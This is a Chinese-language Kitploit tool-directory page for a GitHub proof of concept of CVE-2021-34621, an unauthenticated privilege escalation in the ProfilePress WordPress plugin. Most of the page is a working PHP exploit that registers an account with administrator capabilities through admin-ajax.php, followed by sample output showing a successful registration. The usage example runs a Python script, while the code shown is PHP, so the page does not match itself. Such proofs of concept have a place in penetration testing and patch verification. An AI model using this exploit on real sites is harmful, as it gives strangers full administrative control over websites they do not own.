Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-34621 — ProfilePress 3.0 - 3.1.3 - 未经身份验证的权限提升 | Kitploit
工具/GitHubGitHub/randomrobbiebf/cve-2021-34621
权限提升Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubrandomrobbiebf/cve-2021-34621

CVE-2021-34621

ProfilePress 3.0 - 3.1.3 - 未经身份验证的权限提升

查看仓库
13年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-34621

ProfilePress 3.0 - 3.1.3 - 未认证权限提升

描述

该插件的用户注册功能允许在注册过程中提供任意用户元数据,包括 wp_capabilities,这使得用户可以注册为管理员。

POC

root@kitploit:~

<?php
// Settings
$wp_url = $argv[1];
// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r',
    'reg_email' => '[email protected]',
    'reg_password' => 'password',
    'reg_password_present' => 'true',
    'reg_first_name' => 'Hax0r',
    'reg_last_name' => 'Hax0r',
    'wp_capabilities[administrator]' => '1',
    'action' => 'pp_ajax_signup',
    'melange_id' => ''

]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

脚本用法

root@kitploit:~
$ python3 CVE-2021-34621.py --url http://wordpress.lan --username test2 --email [email protected] --password test
{"message":"<div class=\"profilepress-reg-status success\">Registration successful.<\/div>"}
下载工具